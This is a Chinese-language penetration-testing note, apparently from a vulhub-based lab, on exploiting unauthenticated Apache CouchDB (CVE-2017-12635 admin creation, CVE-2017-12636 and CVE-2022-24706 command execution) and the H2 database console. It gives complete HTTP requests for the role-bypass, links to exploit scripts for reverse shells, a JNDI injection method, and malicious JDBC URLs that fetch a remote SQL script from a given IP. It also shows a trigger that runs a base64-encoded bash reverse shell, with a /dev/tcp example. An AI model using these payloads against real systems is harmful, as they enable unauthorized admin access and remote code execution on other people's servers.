CouchdbH2database未授权
Couchdb未授权
默认端口:5984
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。
垂直权限绕过(CVE-2017-12635)
影响版本:<1.7.0 && <2.1.1
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
添加用户数据包,用户名:vulhub 密码:vulhub
若返回403错误{“error”:“forbidden”,“reason”:“Only _admin may set roles”}
那么数据包内添加一个"roles":[]即可绕过
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
登陆即可
命令执行(cve-2017-12636)
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
只需要更改target的url和反弹shell命令
成功接收到shell
分布式协议代码执行 (CVE-2022-24706)
- 5984: Apache CouchDB Web管理接口
- 4369: Erlang端口映射服务(epmd)
- 9100: 集群节点通信和运行时自省服务(代码执行实际发生在这个端口中)
其中,Web管理接口和epmd服务端口是固定的,而集群通信接口在Vulhub中是9100。实际环境下,这个端口通常是随机的,我们可以通过epmd服务来获取这个端口的数值。
exp下载:vulhub/couchdb/CVE-2022-24706/poc.py at master · vulhub/vulhub
python poc.py target-ip 4369
H2database未授权
默认端口:20051
Java SQL数据库H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210+中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的idbc:h2:mem JDBC URL执行任意代码。
看见这个登录界面就可以尝试未授权利用
JNDI-Injection-Exploit下载:https://github.com/welk1n/JNDI-Injection-Exploit
方法一:
Driver Class:填入 javax.naming.InitialContext
在vps上启动exp
将粉红的rmi开头的填入界面
点击Connect后可以看见服务器有反应
那么就是成功创建文件了
方法二:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
未授权进入
方法三:
创建数据库文件 h2database.sql并放在vps上面
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';
#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
http共享sql文件
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://搭建的IP:端口/h2database.sql’;\
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM ‘http://117.72.120.22/h2database.sql’;\
输入到JDBC URL
点击Connect